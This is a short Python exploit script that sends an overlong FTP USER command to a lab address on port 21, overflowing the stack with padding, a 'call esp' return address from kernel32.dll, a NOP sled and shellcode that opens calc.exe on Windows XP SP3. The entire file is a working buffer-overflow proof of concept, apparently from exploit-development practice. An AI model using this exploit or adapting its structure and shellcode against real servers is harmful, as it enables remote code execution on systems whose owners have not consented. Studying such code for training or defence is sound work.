#!/usr/bin/env python
# $Id: exploit.py,v 1.0 2018/04/25 21:46:08 dhn Exp $

import sys
import socket

class Exploit:
    def __init__(self, server, port, payload):
        self._payload = payload
        self._server = server
        self._port = port

    def __connect(self):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((self._server, self._port))
        return s

    def run(self):
        try:
            s = self.__connect()
            print("[+] Sending payload to " + str(self._server))
            s.send(("USER " + self._payload + "\r\n"))
            s.close()
        except socket.error:
            print("[!] socket error")

if __name__ == "__main__":
    # calc.exe shellcode for WinXP SP3 
    shellcode = "\x31\xC9"              # xor ecx,ecx
    shellcode += "\x51"                 # push ecx
    shellcode += "\x68\x63\x61\x6C\x63" # push 0x636c6163
    shellcode += "\x54"                 # push dword ptr esp
    shellcode += "\xB8\xC7\x93\xC2\x77" # mov eax,0x77c293c7
    shellcode += "\xFF\xD0"             # call eax
    call_esp = "\x7c\x87\x16\x13"[::-1] # call esp (kernel32.dll)

    payload = "A" * 230                 # fill esp
    payload += call_esp                 # call esp
    payload += "\x90" * 20              # nop sled
    payload += shellcode

    exploit = Exploit("10.168.142.128", 21, payload)
    exploit.run()
